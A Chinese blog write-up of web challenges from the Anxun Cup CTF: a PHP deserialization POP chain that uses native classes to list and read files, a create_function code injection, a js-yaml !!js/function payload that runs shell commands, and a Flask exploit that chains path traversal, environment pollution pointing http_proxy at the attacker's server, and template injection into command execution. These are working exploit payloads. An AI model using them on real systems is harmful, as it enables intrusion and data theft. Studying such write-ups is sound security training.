安洵杯部分wp

easy_unserialize

 <?php
error_reporting(0);
class Good{
    public $g1;
    private $gg2;

    public function __construct($ggg3)
    {
        $this->gg2 = $ggg3;
    }

    public function __isset($arg1)
    {
        if(!preg_match("/a-zA-Z0-9~-=!\^\+\(\)/",$this->gg2))
        {
            if ($this->gg2)
            {
                $this->g1->g1=666;
            }
        }else{
            die("No");
        }
    }
}
class Luck{
    public $l1;
    public $ll2;
    private $md5;
    public $lll3;
    public function __construct($a)
    {
        $this->md5 = $a;
    }
    public function __toString()
    {
        $new = $this->l1;
        return $new();
    }

    public function __get($arg1)
    {
        $this->ll2->ll2('b2');
    }

    public function __unset($arg1)
    {
        if(md5(md5($this->md5)) == 666)
        {
            if(empty($this->lll3->lll3)){
                echo "There is noting";
            }
        }
    }
}

class To{
    public $t1;
    public $tt2;
    public $arg1;
    public function  __call($arg1,$arg2)
    {
        if(urldecode($this->arg1)===base64_decode($this->arg1))
        {
            echo $this->t1;
        }
    }
    public function __set($arg1,$arg2)
    {
        if($this->tt2->tt2)
        {
            echo "what are you doing?";
        }
    }
}
class You{
    public $y1;
    public function __wakeup()
    {
        unset($this->y1->y1);
    }
}
class Flag{
    public function __invoke()
    {
        echo "May be you can get what you want here";
        array_walk($this, function ($one, $two) {
            $three = new $two($one);
            foreach($three as $tmp){
                echo ($tmp.'<br>');
            }
        });
    }
}

if(isset($_POST['D0g3']))
{
    unserialize($_POST['D0g3']);
}else{
    highlight_file(__FILE__);
}
?>

链子挺好找的

wakeup-》unset-》tostring-》invoke-》Flag

据说在invoke中直接查看phpinfoI()也可以直接看到flag,应该是非预期,按部就班的话就是在Flag类中利用原生类来读取文件。

浅浅讲一下Flag类中的实现方式

class Flag{
    public function __invoke()
    {
        echo "May be you can get what you want here";
        array_walk($this, function ($one, $two) {
            $three = new $two($one);
            foreach($three as $tmp){
                echo ($tmp.'<br>');
            }
        });
    }
}

__invoke() 方法中,使用了 array_walk() 函数来遍历类实例自身(即 $this)的属性和值。对每个属性和值($one代表属性名  $two代表属性值,例如假使Flag有$a=’b‘的属性,那么$one就是a,$two就是b),都会执行一个匿名函数,在匿名函数中很明显可以利用原生类。

给个结合原生类列目录的poc

<?php
error_reporting(0);
class Good{
    public $g1;
    private $gg2;

}
class Luck{
    public $l1;
    public $ll2;
    public $md5;
    public $lll3;
 
    public function __toString()
    {
        $new = $this->l1;
        return $new();
    }

    public function __unset($arg1)
    {
        if(md5(md5($this->md5)) == 666)
        {
            if(empty($this->lll3->lll3)){
                echo "There is noting";
            }
        }
    }
}

class To{
    public $t1;
    public $tt2;
    public $arg1;
}
class You{
    public $y1;
    public function __wakeup()
    {
        unset($this->y1->y1);
    }
}
class Flag{
    public function __invoke()
    {
        echo "May be you can get what you want here";
        array_walk($this, function ($one, $two) {
            $three = new $two($one);
            foreach($three as $tmp){
                echo ($tmp.'<br>');
            }
        });
    }
}

$a = new You();
$a->y1 = new Luck();
$a->y1->md5 = new Luck();
$a->y1->md5->l1 = new Flag();
$a->y1->md5->l1->DirectoryIterator = "file:///";
echo serialize($a);
?>

然后根据所得到的需要读取的文件,利用原生类读取即可

<?php
error_reporting(0);
class Good{
    public $g1;
    private $gg2;

}
class Luck{
    public $l1;
    public $ll2;
    public $md5;
    public $lll3;
 
    public function __toString()
    {
        $new = $this->l1;
        return $new();
    }

    public function __unset($arg1)
    {
        if(md5(md5($this->md5)) == 666)
        {
            if(empty($this->lll3->lll3)){
                echo "There is noting";
            }
        }
    }
}

class To{
    public $t1;
    public $tt2;
    public $arg1;
}
class You{
    public $y1;
    public function __wakeup()
    {
        unset($this->y1->y1);
    }
}
class Flag{
    public function __invoke()
    {
        echo "May be you can get what you want here";
        array_walk($this, function ($one, $two) {
            $three = new $two($one);
            foreach($three as $tmp){
                echo ($tmp.'<br>');
            }
        });
    }
}

$a = new You();
$a->y1 = new Luck();
$a->y1->md5 = new Luck();
$a->y1->md5->l1 = new Flag();
$a->y1->md5->l1->SplFileObject = "/FfffLlllLaAaaggGgGg";
echo serialize($a);
?>

额看了官方的wp之后才发现原来我这样做也是非预期,悲!

按出题人的意思,每一个类都是要用到的,看了之后发现挺多都是新知识,因此记录一下。

 

# -*- coding: utf-8 -*-
# 运行: python2 md5.py "666" 0
import multiprocessing
import hashlib
import random
import string
import sys

CHARS = string.ascii_letters + string.digits


def cmp_md5(substr, stop_event, str_len, start=0, size=20):
    global CHARS
    while not stop_event.is_set():
        rnds = ''.join(random.choice(CHARS) for _ in range(size))
        md5 = hashlib.md5(rnds)
        value = md5.hexdigest()
        if value[start: start + str_len] == substr:
            # print rnds
            # stop_event.set()

            # 碰撞双md5
            md5 = hashlib.md5(value)
            if md5.hexdigest()[start: start + str_len] == substr:
                print rnds + "=>" + value + "=>" + md5.hexdigest() + "\n"
                stop_event.set()



if __name__ == '__main__':
    substr = sys.argv[1].strip()
    start_pos = int(sys.argv[2]) if len(sys.argv) > 1 else 0
    str_len = len(substr)
    cpus = multiprocessing.cpu_count()
    stop_event = multiprocessing.Event()
    processes = [multiprocessing.Process(target=cmp_md5, args=(substr,
                                                               stop_event, str_len, start_pos))
                 for i in range(cpus)]
    for p in processes:
        p.start()
    for p in processes:
        p.join()

 

what's my name

<?php
highlight_file(__file__);
$d0g3=$_GET['d0g3'];
$name=$_GET['name'];
if(preg_match('/^(?:.{5})*include/',$d0g3)){
    $sorter='strnatcasecmp';
    $miao = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
    if(strlen($d0g3)==substr($miao, -2)&&$name===$miao){
        $sort_function = ' return 1 * ' . $sorter . '($a["' . $d0g3 . '"], $b["' . $d0g3 . '"]);';
        @$miao=create_function('$a, $b', $sort_function);
    }
    else{
        echo('Is That My Name?');
    }
}
else{
    echo("YOU Do Not Know What is My Name!");
}
?> 

这个得算是原题了吧,网上一搜就搜到了

首先正则匹配要求必须以5个字符加include开头,然后会通过create_function创建一个匿名方法,返回匿名方法的名称,本地调试时可以发现是下面这种形式

lambda_1,后面的数字会随着没创建一个匿名方法而增加,也就是说你重复发请求,就能让最后的数字一直增大,因此绕过if判断很简单了,但是有一个坑,$miao的最前面是有一个空格符%00的,因此在$name前面也需要加一个。

进入if判断后再次创建了一个匿名函数,这个函数中有我们可控的内容,因此只需要提前闭合前面的函数,就可以随意注入恶意代码了

先放poc:

?d0g3="]);}include(index.php);phpinfo();/*&name=%00lambda_36

带入匿名函数后就是

{  
    return 1 * strnatcasecmp($a[""]);
}
    include(index.php);
    phpinfo();
    /*"], $b[""]);}include(index.php);phpinfo();/*"]);;

太菜了以至于只做出上面两题,以下的都是赛后复现

signal

题目给了源码,简单审计一下就是将一些类型的文件通过yaml.load()和yaml.dump()转换成yaml文件,然后将yaml文件中的name属性的值和整个文件的内容渲染到模板上。

if (output) {
		let name = 'ctfer';
		const yamlData = yaml.load(output);
		if (yamlData && yamlData.name) {
			 name = yamlData.name;
		}
		req.session.outputData=name;
		req.session.outputData=output;
		res.render('preview', { name: name,output: output }); // 渲染 preview.ejs 模板
	} else {
		res.status(400).send('Unsupported format.')
	}
});
<p>可爱的<%= name %>公主殿下 你转换后的文件是:</p>
<pre>
    <%= output %>
</pre>

 简单测试一下,建立一个test.yaml的文件,内容为(省略号后面有一个空格,这是yaml文件的格式要求)

name: aaa

可以看到name渲染的值是可控的。

然后到这就不会了,看了wp,是利用了js-yaml在3.14.1版本允许使用 tag 构造任意 JS 函数。

使用方法: 

然后很妙的一点就是利用了js在Function、对象需要转换为字符串时,通常会自动调用函数、对象中的 toString 方法,而我们可以在函数中重写这个方法,来达到命令执行的目的。

在本题中利用了render函数来渲染模板,因此我们可以控制name属性为一个对象,在对象中重写tostring方法,yaml文件中对象的格式为

因此最后的payload为

"name" : { toString: !!js/function "function(){ flag = process.mainModule.require('child_process').execSync('cat /fla*').toString(); return flag;}"}

最后放一下主要的源码:

const express = require('express');
const multer = require('multer');
const bodyParser = require('body-parser');
const ini = require('iniparser');
const xml2js = require('xml2js');
const properties = require('properties');
const yaml = require('js-yaml');
const cp = require('child_process')
const path = require('path');
const session = require('express-session');

const app = express();
const port = process.env.PORT || 80;

// 设置存储配置
const storage = multer.memoryStorage();
const upload = multer({ storage: storage });


app.use(express.static(path.join(__dirname, 'public')));
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');

app.use(session({
	secret: 'welcome',//
	resave: false,
	saveUninitialized: false,
	cookie: {
		maxAge: 3600000
	}
}))

let output = '';

app.get('/', (req, res) => {
	res.sendFile(path.join(__dirname, 'public', 'index.html'));
});

app.post('/convert', upload.single('configFile'), (req, res) => {
	if (!req.file) {
		return res.status(400).send('No file uploaded.');
	}
	if(req.body.format!="yaml"){
		return res.status(404).send("该功能暂未开始使用.");
	}
	const fileExtension = path.extname(req.file.originalname).toLowerCase();
	const fileBuffer = req.file.buffer.toString('utf8');


	if (fileExtension === '.ini') {
		// 处理 INI 文件
		const parsedData = ini.parseString(fileBuffer);
		output = yaml.dump(parsedData);
	} else if (fileExtension === '.xml') {
		// 处理 XML 文件
		xml2js.parseString(fileBuffer, (err, result) => {
			if (err) {
				return res.status(500).send('Error parsing XML.');
			}
			output = yaml.dump(result);
		});
	} else if (fileExtension === '.properties') {
		// 处理 Properties 文件
		properties.parse(fileBuffer, (err, parsedData) => {
			if (err) {
				console.error('Error parsing properties file:', err);
				return res.status(500).send('Error parsing properties file.');
			}
			output = yaml.dump(parsedData);
		});
	} else if (fileExtension === '.yaml') {
		// 处理 YAML 文件
		try {
			// 尝试解析 YAML 文件
			const yamlData = yaml.load(fileBuffer);
			// 如果成功解析,yamlData 变量将包含 YAML 文件的内容
			output = yaml.dump(yamlData);
		} catch (e) {
			return res.status(400).send('Invalid YAML format: ' + e.message);
		}
	}

	if (output) {
		let name = 'ctfer';
		const yamlData = yaml.load(output);
		if (yamlData && yamlData.name) {
			 name = yamlData.name;
		}
		req.session.outputData=name;
		req.session.outputData=output;
		res.render('preview', { name: name,output: output }); // 渲染 preview.ejs 模板
	} else {
		res.status(400).send('Unsupported format.')
	}
});
app.get('/download', (req, res) => {
	if (output) {
		const outputData = req.session.outputData;

		// 设置响应头,指定文件的内容类型为YAML
		res.setHeader('Content-Type', 'application/x-yaml');
		// 设置响应头,指定文件名
		res.setHeader('Content-Disposition', 'attachment; filename="output.yaml"');

		// 将转换后的文件内容发送给客户端
		res.send(outputData);
	} else {
		res.status(404).send('File not found.');
	}
});
app.get('/flag',(req, res) => {
	if(req.session.name=='admin'){
		cp.execFile('/readflag', (err, stdout, stderr) => {
			if (err) {
				console.error('Error:', err);
				return res.status(404).send('File not found.');
			}
			res.send(stdout);
		})
	} else {
		res.status(403).send('Permission denied.');
	}
})

app.listen(port, () => {
	console.log(`App is running on port ${port}`)
})

Swagger docs

打开就是没见到过的东西,是swagger接口文档,这里根据wp反向推理一下文档的意思。。。

path是路由,本题中有注册路由,登录路由,搜索路由等等五条路由,这里取一条介绍下,也就是上图的register路由。

很明显访问这个路由需要用post请求,json格式的数据,post携带的参数需要从definitions/UserRegistration找,也就是username和password参数。

因此注册账号的payload就是(记得格式要改成application/json)

之后就是类似上述步骤进行登录,然后才能访问search路由(登录成功才会有正确的token)

然后根据wp知道在search路由可以进行任意文件读取,type得是text,这样返回的也是text文本

先读进程:

http://47.108.206.43:39475/api-base/v0/search?file=../../../../../proc/1/cmdline&type=text

再读源码位置:

http://47.108.206.43:39475/api-base/v0/search?file=../../../../../app/run.sh&type=text

读源码:

http://47.108.206.43:39475/api-base/v0/search?file=../../../../../app/app.py&type=text
#coding=gbk
import json
from flask import Flask, request,  jsonify,send_file,render_template_string
import jwt
import requests
from functools import wraps
from datetime import datetime
import os

app = Flask(__name__)
app.config['TEMPLATES_RELOAD']=True

app.config['SECRET_KEY'] = 'fake_flag'
current_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
response0 = {
    'code': 0,
    'message': 'failed',
    'result': None
}
response1={
    'code': 1,
    'message': 'success',
    'result': current_time
}

response2 = {
    'code': 2,
    'message': 'Invalid request parameters',
    'result': None
}


def auth(func):
    @wraps(func)
    def decorated(*args, **kwargs):
        token = request.cookies.get('token')
        if not token:
            return 'Invalid token', 401
        try:
            payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
            if payload['username'] == User.username and payload['password'] == User.password:
                return func(*args, **kwargs)
            else:
                return 'Invalid token', 401
        except:
            return 'Something error?', 500

    return decorated

@app.route('/',methods=['GET'])
def index():
    return send_file('api-docs.json', mimetype='application/json;charset=utf-8')

@app.route('/api-base/v0/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.json['username']
        password = request.json['password']
        User.setUser(username,password)
        token = jwt.encode({'username': username, 'password': password}, app.config['SECRET_KEY'], algorithm='HS256')
        User.setToken(token)
        return jsonify(response1)

    return jsonify(response2),400


@app.route('/api-base/v0/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.json['username']
        password = request.json['password']
        try:
            token = User.token
            payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
            if payload['username'] == username and payload['password'] == password:
                response = jsonify(response1)
                response.set_cookie('token', token)
                return response
            else:
                return jsonify(response0), 401
        except jwt.ExpiredSignatureError:
            return 'Invalid token', 401
        except jwt.InvalidTokenError:
            return 'Invalid token', 401

    return jsonify(response2), 400

@app.route('/api-base/v0/update', methods=['POST', 'GET'])
@auth
def update_password():
    try:
        if request.method == 'POST':
            try:
                new_password = request.get_json()
                if new_password:

                    update(new_password, User)

                    updated_token = jwt.encode({'username': User.username, 'password': User.password},
                                               app.config['SECRET_KEY'], algorithm='HS256')
                    User.token = updated_token
                    response = jsonify(response1)
                    response.set_cookie('token',updated_token)
                    return response
                else:
                    return jsonify(response0), 401
            except:
                return "Something error?",505
        else:
            return jsonify(response2), 400

    except jwt.ExpiredSignatureError:
        return 'Invalid token', 401
    except jwt.InvalidTokenError:
        return 'Invalid token', 401

def update(src, dst):
    if hasattr(dst, '__getitem__'):
        for key in src:
            if isinstance(src[key], dict):
                 if key in dst and isinstance(src[key], dict):
                    update(src[key], dst[key])
                 else:
                     dst[key] = src[key]
            else:
                dst[key] = src[key]
    else:
        for key, value in src.items() :
            if hasattr(dst,key) and isinstance(value, dict):
                update(value,getattr(dst, key))
            else:
                setattr(dst, key, value)


@app.route('/api-base/v0/logout')
def logout():
    response = jsonify({'message': 'Logout successful!'})
    response.delete_cookie('token')
    return response


@app.route('/api-base/v0/search', methods=['POST','GET'])
@auth
def api():
    if request.args.get('file'):
        try:
            if request.args.get('id'):
                id = request.args.get('id')
            else:
                id = ''
            data = requests.get("http://127.0.0.1:8899/v2/users?file=" + request.args.get('file') + '&id=' + id)
            if data.status_code != 200:
                return data.status_code

            if request.args.get('type') == "text":
                return render_template_string(data.text)
            else:
                return jsonify(json.loads(data.text))
        except jwt.ExpiredSignatureError:
            return 'Invalid token', 401
        except jwt.InvalidTokenError:
            return 'Invalid token', 401
        except Exception:
            return 'something error?'
    else:
        return jsonify(response2)

class MemUser:
    def setUser(self, username, password):
        self.username = username
        self.password = password

    def setToken(self, token):
        self.token = token

    def __init__(self):
        self.username="admin"
        self.password="password"
        self.token=jwt.encode({'username': self.username, 'password': self.password}, app.config['SECRET_KEY'], algorithm='HS256')

if __name__ == '__main__':
    User = MemUser()
    app.run(host='0.0.0.0')

接下去就是抄wp了

  • 发现/api-base/v0/search存在render_template_string(),可导致ssti造成rce,只需要控制渲染内容即可
  • uapate()函数中存在类似于原型链污染,可以利用来修改环境变量

通过原型链污染,修改http_proxy环境变量(改成自己服务器的ip和端口),即可控制请求的响应数据来造成ssti,实现rce。

http://47.108.206.43:40476/api-base/v0/update
{
        "__init__": {
            "__globals__": {
                "os": {
                    "environ": {
                        "http_proxy":"ip:port"
                    }
                }
            }
        }
    }
 

修改代理后即可随意发送请求(注意:得选择text才能进入渲染)

http://47.108.206.43:40476/api-base/v0/search?file=user&type=text
 
VPS控制请求响应:
HTTP/1.1 200 OK
 
{{lipsum.__globals__['os'].popen('cat EY6zl0isBvAWZFxZMvCCCTS3VRVMvoNi_FLAG').read()}}

  • 18
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值